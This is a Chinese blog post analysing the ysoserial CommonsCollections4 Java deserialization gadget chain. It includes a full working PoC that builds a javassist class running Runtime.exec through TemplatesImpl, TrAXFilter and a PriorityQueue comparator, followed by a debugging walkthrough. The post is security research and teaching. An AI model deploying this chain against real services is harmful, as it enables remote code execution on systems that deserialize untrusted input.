首页 > 其他分享 >ysoserial CommonsColletions4分析

ysoserial CommonsColletions4分析

时间:2022-11-04 20:45:51浏览次数:70  
标签:CommonsColletions4 分析 TemplatesImpl org ysoserial PriorityQueue new apache impor

前言

CommonsCollections Gadget Chains CommonsCollection Version JDK Version Note
CommonsCollections1 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之后已修复不可利用)
CommonsCollections2 CommonsCollections 4.0 暂无限制 javassist
CommonsCollections3 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之后已修复不可利用) javassist
CommonsCollections4 CommonsCollections 4.0 暂无限制 javassist

与cc3一样建议使用javassist:3.12.0.GA依赖

cc4基本就是cc3和cc2的结合,简单看下来好像没什么新的点

yso项目给的注释:cc2的变体,使用InstantiateTransformer替代了InvokerTransformer

import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;


import javax.xml.transform.Templates;
import java.io.*;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
public class cc4 {
    public static void main(String[] args) throws IOException, CannotCompileException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CommonsCollections44444444");
        payload.setSuperclass(classPool.get(AbstractTranslet));
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");");
        byte[] bytes = payload.toBytecode();
        Object templates = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();


        Field field=templates.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);
        field.set(templates,new byte[][]{bytes});

        Field name=templates.getClass().getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"test");
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates})
        };
        ChainedTransformer chian = new ChainedTransformer(trans);
        TransformingComparator transCom = new TransformingComparator(chian);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);
        Field com = PriorityQueue.class.getDeclaredField("comparator");
        com.setAccessible(true);
        com.set(queue,transCom);
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

调试分析#

在PriorityQueue#readObject下断点,debug,跟进heapify()方法

img

这里之前cc2的文章也提到过,设置PriorityQueue对象长度为2目的是为了让这里for循环中i的初始值为0从而正常进入循环中的siftDown方法

img

这里做了判断如果属性comparator不为null进入siftDownUsingComparator()方法,而comparator在poc中通过反射将其值设置为了transfCom(后续具体生成恶意类的TransformingComparator对象)

img

在siftDownUsingComparator()方法中调用了属性comparator的compare方法,继续跟进

img

在compare()方法中调用了ChainedTransformer#transform()方法

img

img

其中第一次循环拿到了通过ConstantTransformer#transform()方法拿到了ConstantTransformer#iConstant属性,在poc中new ConstantTransformer类时通过有参构造方法已经把值设置为TrAXFilter.class,所以这里第一次拿到的object值为TrAXFilter.class;

img

第二次循环时将TrAXFilter.class作为参数传入InstantiateTransformer#transform()方法,首先通过反射先去获取TrAXFilter类的参数类型为Templates的有参构造方法

img

可以从TrAXFilter类的Structure中看到确实有符合的有参构造方法,可以在此方法下个断点,F9跟进来

img

调用了TemplatesImpl的newTransformer()方法

img

调用getTransletInstance()方法,继续跟进

img

在第一个if中_name参数在poc中反射设置为了test,所以进入第二个if,因为一开始_class就为null,调用defineTransletClasses()方法

img

之后调用ClassLoader#defineClass()加载之前恶意类的byte数组,并在下面if中,poc反射设置了恶意类父类为AbstractTranslet后将_transletIndex属性设置为0

img

回到getTransletInstance()方法通过newInstance()方法实例化恶意类,触发静态代码块中代码执行

img


CC4没什么新的东西,之前分析了CC2和CC3再来看的话会比较简单

PoC Gadget Chain

ObjectInputStream#readObject()
  PriorityQueue#readObject()
  	PriorityQueue#heapify()
  		PriorityQueue#siftDown()
  			PriorityQueue#siftDownUsingComparator()
  				TransformingComparator#compare()
  					ChainedTransformer#transform()
  						ConstantTransformer#transform()
  						InstantiateTransformer#transform()
  							TrAXFilter#TrAXfilter(Templates templates)
  								TemplatesImpl#newTransformer()
  									TemplatesImpl#getTransletInstance()
  										TemplatesImpl#defineTransletClasses()
  											TransletClassLoader#defineClass()
  									TemplatesImpl#getTransletInstance()
  											_class[_transletIndex]#newInstance()
  													触发静态代码块中代码执行

image-20220402181930015

标签:CommonsColletions4,分析,TemplatesImpl,org,ysoserial,PriorityQueue,new,apache,impor
From: https://www.cnblogs.com/gk0d/p/16859052.html

相关文章

  • ysoserial CommonsColletions3分析
    CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写。而CC3目前有两条主流的利用链,利用TransformedMap或者LazyMa......
  • ysoserial CommonsColletions2分析
    前言在CC2中是用的PriorityQueue#reaObject作为反序列化的入口,利用javassist创建了一个攻击类,使用TemplatesImpl类来承载他而CC1利用链在JDK1.88u71版本以后是无法使用......
  • ysoserial CommonsColletions1分析
    前言前边已经调试过Java反序列化工具ysoserial的URLDNS链,接下来看看CC链,在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链,而是用了LazyMap的get方......
  • 高手是这样排查问题的——两层使用存储过程批量生成单据和查询分析器生成单据都正确,使
    问题描述:在两层的情况下,使用存储过程批量生成单据时,正确在查询分析器中,直接使用代码执行存储过程时,正确在三层的情况下,使用存储过程批量生成单据时,错误 问题查找:1、......
  • 基于智能分析网关的小区电动车AI检测方案设计与应用
    随着人工智能技术的不断成熟与落地,各行各业也逐渐融入AI智能检测技术,尤其是在视频监控领域,通过AI视频智能检测与分析,可以大大提高视频的自动化、智能化监控能力。比如在小......
  • java内存分析
    java内存分为 堆:存放new的对象和数组 可以被所有线程共享,不会存放别的对象引用 栈:存放基本变量类型(会包含这个基本类型的具体数值) 引用对象的......
  • 逻辑分析仪使用介绍
    KingstVIS逻辑分析仪使用介绍@目录KingstVIS逻辑分析仪使用介绍一:逻辑分析仪是什么二:采样原理三:和示波器有什么区别四:产品介绍五:软件介绍六:设备连接七:使用详解八:常见......
  • JAVA并发容器-ConcurrentLinkedQueue 源码分析
    在并发编程中,有时候需要使用线程安全的队列。如果要实现一个线程安全的队列有两种方式:一种是使用阻塞算法,另一种是使用非阻塞算法。使用阻塞算法的队列可以用一个锁(入队和......
  • 【java技术总结】Java-9中List.of()和Arrays.asList()的区别及原因分析
    1.List.of()和Arrays.asList()的区别?List.of()不可以插入null,Arrays.asList()可以。List.of()生成的List不可以修改,Arrays.asList()可以。List.of()原数组修改不会影响......
  • Spring Boot 运行原理 - 实例分析(HttpEncodingAutoConfiguration)
    在了解了SpringBoot的运作原理和主要注解后,现在来简单的分析一个SpringBoot内置的自动配置功能:http的编码配置。我们在常规项目中配置Http编码的时候是在web.xml添加一......